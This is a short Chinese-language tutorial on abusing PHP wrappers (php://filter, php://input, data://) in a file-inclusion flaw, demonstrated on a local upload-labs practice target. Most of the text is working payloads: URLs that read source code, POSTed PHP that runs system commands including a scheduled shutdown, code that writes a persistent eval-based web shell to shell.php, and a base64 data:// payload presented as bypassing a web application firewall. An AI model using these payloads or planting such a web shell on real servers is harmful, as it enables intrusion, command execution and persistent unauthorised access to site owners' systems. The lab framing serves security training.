PHP伪协议实战(Filter,Input,Data)

24 阅读1分钟

PHP伪协议(也叫 PHP 封装协议)能够用于支持文件流操作的函数中,既包含合法的文件操作协议,也有常被用于安全渗透的协议。安全渗透中经常利用伪协议读取敏感文件、执行恶意代码。

以下实战均在虚拟机中搭建的upload-labs-env靶场进行,浏览器为火狐渗透版:

  1. Filter

Filter用于查看网站完整源代码;

浏览器输入以下url,其中读链设置为base64编码,数据流设置为upload.php:

http://127.0.0.1/upload.php?filename=php://filter/read=convert.base64-encode/resource=upload.php

filter.png

base64解码为:

<?php				
$filename=$_GET['filename'];
include($filename);
?>

2. Input

Input可以直接在post data中输入php脚本;

先在浏览器输入以下url:

http://127.0.0.1/include.php? file=php://input

post data:

2.1 查看信息:

<?php phpinfo(); ?>

input1.png

2.2 查看服务器的版本:

<?php system(ver); ?>

input2.png

2.3 查看服务器IP:

<?php system(ipconfig); ?>

input3.png

2.4 查看服务器目录:

<?php system(dir); ?>

input4.png

2.5 Ping其他网站:

<?php system('ping www.baidu.com'); ?>

input5.png

2.6 查看当前用户:

<?php system('whoami'); ?>

input6.png

2.7 1小时后关机:

<?php system('shutdown -s -t 3600'); ?>

input7.png

2.8 取消关机:

<?php system('shutdown -a'); ?>

input8.png

2.9 将php脚本写入shell.php文件:

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]); ?>'); ?>

再访问php脚本:

http://127.0.0.1/shell.php

post data:

cmd=phpinfo();

input9.png

  1. Data

Data可以直接在url中传入php脚本:

http://127.0.0.1/upload.php?filename=data://text/plain,<?php phpinfo();?>

data1.png

使用base64编码php脚本可以绕过安全狗:

http://127.0.0.1/upload.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+%2b

data2.png